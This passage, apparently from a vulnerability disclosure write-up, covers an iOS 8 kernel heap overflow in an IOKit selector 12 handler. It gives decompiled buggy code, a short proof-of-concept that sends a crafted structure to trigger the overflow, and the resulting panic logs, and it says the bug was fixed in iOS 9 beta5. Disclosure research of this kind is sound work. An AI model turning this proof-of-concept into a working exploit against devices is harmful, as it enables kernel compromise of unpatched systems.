r4:   0x0aaaaaaa  r5: 0x929abe40  r6: 0x00000001  r7: 0xddf43ba4
r8:   0x0000009e  r9: 0x068e5372 r10: 0x00000000 r11: 0x0000009e
r12:  0x00f42400  sp: 0xddf43b60  lr: 0x00000000  pc: 0x914d04c6
cpsr: 0x80000033 fsr: 0x00000805 far: 0x5f33b014

Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000010800000
Kernel text base: 0x90801000
  Boot    : 0x55eeb77c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eeb8b0 0x00004a05

Note: The offset of share memory above is for 32bit kernel

3rd – Heap overflow bug in the function for selector 12

The input of this handler function is one scalar number and one structure. Also it requires inputScalar[0] <= 3 and (inputStructSize & 7) == 0. Let’s look at the buggy code.

  v5 = a1;
  if ( inputSize )
  {
    v6 = (char *)inputStruct + 4;
    v7 = 0;
    v8 = 0;
    while ( 1 )
    {
      v9 = (int)&v6[8 * v8];
      v10 = *(_BYTE *)(v9 + 3);
      v11 = *(_BYTE *)(v9 + 1);
      v12 = *(_BYTE *)(v9 + 2);
      result = 0xE00002C2;
      v14 = (unsigned __int8)v6[8 * v8] | (v11 << 8) | ((v12 | (v10 << 8)) << 16);
      if ( v14 > 19 )
      {
        if ( v14 != 20 )
          return result;
        v15 = 32;
      }
      else
      {
        v15 = 4;
        if ( (unsigned int)v14 >= 3 && v14 != 10 )
        {
          if ( v14 != -1 )
            return result;
          goto LABEL_12;    // break if -1 is found, at this time v8 < inputSize
        }
      }
      ++v8;
      v7 += v15;
      if ( v8 >= inputSize )
        goto LABEL_12;  // break normally with v8 == inputSize
    }
  }
  v7 = 0;
  v8 = 0;
LABEL_12:
  v16 = (void *)IOMalloc_130(8 * v8);       // memory size is 8*v8
  *(_DWORD *)(v5 + 8) = v16;
  if ( v16 )
  {
    memmove_130(v16, inputStruct, 8 * inputSize);  // heap overflow when v8 < inputSize
    result = 0;
    *(_DWORD *)v5 = v8;
    *(_DWORD *)(v5 + 4) = v7;
  }

Through this code we will see it checks the input structure every 8 bytes and takes -1 as an end. And then it allocates memory according to the size may be smaller than the real input structure size. BUT when copying memory it use the real input structure size again, which causes a heap overflow.

This is really a perfect bug since we can control:
– the size of the heap to be overflown, that means you may choose any kalloc zone to attack
– the size and content of data to overwrite after the heap

Combining with the vm_map_copy heap Fengshui skill, this single bug allows us to defeat all current kernel mitigations. We give a simple POC here.

void panic3(io_connect_t connection)
{
    uint64_t inputScalar[1];
    uint8_t structData[1024];
    uint32_t structSize = 1024;

    inputScalar[0] = 0;
    memset(structData, 0x88, sizeof(structData));
    *(uint32_t *)&structData[4] = 1;
    *(uint32_t *)&structData[4+8] = 0xFFFFFFFF;  // indicate end

    IOConnectCallMethod(connection, 12, inputScalar, 1, structData, structSize, NULL, NULL, NULL, NULL);
}

PANIC LOG

panic(cpu 0 caller 0x95a47d41): "a freed zone element has been modified in zone kalloc.8: expected 0xf66f1cb2 but found 0x88888888, bits changed 0x7ee7943a, at offset 4 of 8 in element 0xbce83c08, cookies 0x7ee7943a 0x7ed803f9"
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015a00000
Kernel text base: 0x95a01000
  Boot    : 0x55eeb9ec 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebb50 0x000d2a69

End

Note that these vulnerabilities cannot be triggered inside the container sandbox. And we confirmed that the 2nd and the 3rd bugs are already fixed in iOS 9 beta5.